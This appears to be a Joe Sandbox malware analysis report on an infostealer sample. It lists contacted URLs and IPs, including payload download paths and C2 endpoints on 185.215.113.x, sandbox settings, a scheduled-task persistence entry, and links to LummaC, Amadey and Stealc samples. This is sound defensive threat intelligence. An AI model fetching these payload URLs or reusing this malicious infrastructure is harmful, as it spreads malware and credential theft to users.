http://185.215.113.206/R	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpation	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe-y	V65xPrgEHH.exe, 00000000.00000003.2459047018.000000000111A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sweepyribs.lat/	V65xPrgEHH.exe, 00000000.00000003.2216413128.0000000001103000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216362230.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216480469.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllh)	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/68b591d6548ec281/nss3.dll	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	chromecache_176.15.dr	false		high
http://185.215.113.206ta	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	V65xPrgEHH.exe, 00000000.00000003.2266567284.0000000005958000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/E6	V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.mozilla.or	V65xPrgEHH.exe, 00000000.00000003.2266514753.000000000588A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php%-j	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.sqlite.org/copyright.html.	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3139220368.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3129571644.0000000005B5B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phprefox	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16:80/steam/random.exe117-2476756634-1003	V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3140681811.000000006FD5D000.00000002.00000001.01000000.0000000E.sdmp, mozglue.dll.13.dr, mozglue[1].dll.13.dr	false		high
http://185.215.113.16:80/steam/random.exe	V65xPrgEHH.exe	false		high
https://sweepyribs.lat/apip	V65xPrgEHH.exe, 00000000.00000003.2216362230.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2216480469.000000000113E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	nss3[1].dll.13.dr, mozglue.dll.13.dr, softokn3[1].dll.13.dr, freebl3.dll.13.dr, mozglue[1].dll.13.dr, softokn3.dll.13.dr, freebl3[1].dll.13.dr, nss3.dll.13.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/w	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EHCAEGDHJKFHJKFIJKJE.13.dr	false		high
https://sweepyribs.lat/apix	V65xPrgEHH.exe, 00000000.00000003.2293685890.000000000111A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe	V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
http://185.215.113.206/c4becf79229cb002.php)	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3134062438.000000000BE80000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sweepyribs.lat:443/apiWdtPWdtP	V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001195000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sweepyribs.lat/apib	V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324412969.0000000001125000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2324658098.0000000001175000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	false		high
https://sweepyribs.lat//%w	V65xPrgEHH.exe, 00000000.00000003.2293839610.0000000001103000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
http://185.215.113.16/	V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_176.15.dr	false		high
http://185.215.113.206a&AX:	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000588E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sweepyribs.lat:443/api	V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2264619404.000000000584D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2264865609.000000000584D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2265399180.000000000584D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exeXy	V65xPrgEHH.exe, 00000000.00000003.2459047018.000000000111A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	GIEBFHCAKFBGDHIDHIDBKKKKKE.13.dr	false		high
https://sweepyribs.lat/apikamckn	V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2337813480.0000000001176000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2370020157.0000000001176000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exe	V65xPrgEHH.exe, V65xPrgEHH.exe, 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459509847.0000000001181000.00000004.00000020.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2459047018.0000000001125000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.00000000007B4000.00000040.00000001.01000000.0000000B.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3121894220.0000000000897000.00000040.00000001.01000000.0000000B.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	V65xPrgEHH.exe, 00000000.00000003.2218747620.000000000587D000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2219016436.000000000587B000.00000004.00000800.00020000.00000000.sdmp, V65xPrgEHH.exe, 00000000.00000003.2218843755.000000000587B000.00000004.00000800.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000003.2729350855.000000000138B000.00000004.00000020.00020000.00000000.sdmp, AFIDGDBG.13.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	V65xPrgEHH.exe, 00000000.00000003.2266912536.000000000119D000.00000004.00000020.00020000.00000000.sdmp, 5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3132674620.000000000BCD3000.00000004.00000020.00020000.00000000.sdmp, EHCAEGDHJKFHJKFIJKJE.13.dr	false		high
http://185.215.113.16/steam/random.exesD$)	V65xPrgEHH.exe, 00000000.00000003.2459047018.0000000001125000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/freebl3.dllL)	5XYR1IZSU740RQ8S.exe, 0000000D.00000002.3124768469.0000000001332000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.2.110	sweepyribs.lat	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576598
Start date and time:	2024-12-17 10:07:25 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	V65xPrgEHH.exe renamed because original name is a hash value
Original Sample Name:	cd0ac63bd2ece29fe4ab3ae30df60d15.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@40/55@5/8
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 23.218.208.109, 172.217.19.227, 172.217.19.206, 64.233.164.84, 217.20.58.99, 172.217.17.46, 172.217.17.67, 172.217.19.202, 142.250.181.42, 172.217.19.234, 172.217.17.74, 142.250.181.74, 142.250.181.106, 172.217.19.170, 172.217.21.42, 172.217.17.42, 172.217.19.10, 142.250.181.138, 216.58.208.234, 142.250.181.10, 20.190.177.22, 20.223.35.26, 13.107.246.63, 2.16.158.27, 20.109.210.53, 20.199.58.43, 150.171.28.10, 2.16.158.83
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, clients2.google.com, redirector.gvt1.com, login.live.com, e16604.g.akamaiedge.net, www.gstatic.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, optimizationguide-pa.googleapis.com, www.bing.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients.l.google.com
Execution Graph export aborted for target 5XYR1IZSU740RQ8S.exe, PID 5588 because there are no executed function
Execution Graph export aborted for target V65xPrgEHH.exe, PID 7284 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:08:22	API Interceptor	33x Sleep call for process: V65xPrgEHH.exe modified
04:09:25	API Interceptor	319x Sleep call for process: 5XYR1IZSU740RQ8S.exe modified
10:09:56	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.2.110	81eivTbdp6.exe	Get hash	malicious	LummaC	Browse
	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16/steam/random.exe
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sweepyribs.lat	pN6iTXbhhc.exe	Get hash	malicious	LummaC	Browse	172.67.129.27
	81eivTbdp6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.2.110
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.129.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	104.21.2.110
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	BwQ1ZjHbt3.bat	Get hash	malicious	Unknown	Browse	217.20.57.23
	payload_1.hta	Get hash	malicious	RedLine	Browse	217.20.58.100
	69633f.msi	Get hash	malicious	Vidar	Browse	217.20.58.98
	msimg32.dll	Get hash	malicious	RHADAMANTHYS	Browse	217.20.58.100
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	217.20.58.99
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	217.20.58.98
	Statement Of Account - (USD 19,490.00 ).xls	Get hash	malicious	Unknown	Browse	217.20.58.101
	v12p3S8p36.exe	Get hash	malicious	GhostRat, Mimikatz	Browse	217.20.58.98
	3333.png.lnk.d.lnk	Get hash	malicious	Unknown	Browse	217.20.58.101
	new.bat	Get hash	malicious	Unknown	Browse	217.20.58.99
plus.l.google.com	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	172.217.17.46
	FINAL000035745873695487KHFKA.pdf	Get hash	malicious	HTMLPhisher	Browse	172.217.17.46
	https://qrs.ly/gggdyxx	Get hash	malicious	Unknown	Browse	142.250.181.78
	https://iwr.soundestlink.com/ce/c/676002d8893d08b60d0548a9/67600e317a8dc234ff2c418f/67600e4e1033e9cdafe04236?signature=d71ee5ef2af4c3905acd300a8f3b595d0164d440b8def5e7254a839fa6b579a9	Get hash	malicious	Unknown	Browse	142.250.181.78
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.217.17.46
	4TPPuMwzSA.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.46
	http://minimalfreaks.co	Get hash	malicious	HTMLPhisher	Browse	142.250.181.78
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	142.250.181.78
	T0nhEmsC5u.exe	Get hash	malicious	Cryptbot	Browse	172.217.17.46
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	NYMPo215Qd.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	qvkwOs4JfC.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
CLOUDFLARENETUS	pN6iTXbhhc.exe	Get hash	malicious	LummaC	Browse	172.67.129.27
	81eivTbdp6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	greatnicefeatureswithsupercodebnaturalthingsinlineforgiven.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	172.67.187.200
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	Ls4O6Pmixd.exe	Get hash	malicious	Phemedrone Stealer	Browse	104.26.0.100
	X2hna87N3Y.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://forms.gle/WXkgv9t1iFkxFXZb7	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	RkB7FehGh6.exe	Get hash	malicious	LummaC	Browse	104.21.2.110
	MV GOLDEN SCHULTE DETAILS.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LiteHTTP Bot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
